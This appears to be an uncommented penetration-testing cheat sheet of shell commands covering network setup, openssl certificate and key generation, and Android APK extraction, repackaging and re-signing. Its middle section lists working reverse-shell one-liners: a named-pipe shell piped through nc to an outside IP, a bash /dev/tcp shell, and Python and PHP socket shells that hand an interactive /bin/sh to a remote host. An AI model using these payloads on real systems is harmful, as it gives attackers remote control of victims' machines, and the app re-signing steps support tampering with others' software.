ifconfig eth0 192.168.56.101 netmask 255.255.255.0
route add default gw 192.168.56.1
ifdown eth0 && ifup eth0
openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs
openssl x509 -inform DER -in CERT.RSA -noout -text
openssl crl2pkcs7 -nocrl -certfile certs.pem | openssl pkcs7 -noout -print_certs -text
openssl genrsa 4096 > user.key
openssl rsa -in user.key -pubout > user.pub
openssl req -new -x509 -keyout cakey.pem -out cacert.pem -days 3650
openssl req -newkey rsa:4096 -x509 -keyout ca.key.pem -out ca.crt.pem -days 3650
openssl req -newkey rsa:2048 -nodes -keyout example.com.key -out example.com.csr -days 365
ssh-keygen -lf /etc/ssh/ssh_xxx_key
remote:
rm /tmp/anyfifo
mkfifo /tmp/anyfifo || mknod /tmp/anyfifo p
sh -i < /tmp/anyfifo 2>&1 | nc 123.456.7.8 9876 > /tmp/anyfifo
local:
nc -lp 9876
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");'
adb shell pm list package
adb shell pm path com.company.app
adb pull /data/app/com.company.app-1.apk
apktool b apk/
keytool -genkey -v -keystore key.keystore -alias pentest -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1
-keystore key.keystore app.apk pentest
zipalign -v 4 app.apk app-aligned.apk
adb shell getprop | grep proxy
adb shell sqlite3 /data/data/com.android.providers.settings/databases/settings.db 'select * from system' | grep proxy
adb shell sqlite3 /data/data/com.android.s.telephony/databases/telephony.db 'select * from carriers' | grep proxy
emulator -http-proxy $PROXY:$PORT -verbose-proxy
adb shell am start -n com.android.settings/com.android.settings.ProxySelector
adb forward tcp:54321 tcp:54321
adb console connect